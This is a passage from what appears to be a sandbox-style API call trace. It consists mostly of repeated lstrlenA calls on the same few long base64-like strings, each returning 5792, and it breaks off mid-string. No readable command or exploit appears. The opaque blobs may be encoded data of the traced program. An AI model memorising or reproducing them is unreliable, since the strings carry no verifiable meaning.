QHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.810] lstrlenA (lpString="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") returned 5792 [0163.810] lstrlenA (lpString="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") returned 5792 [0163.810] lstrlenA (lpString="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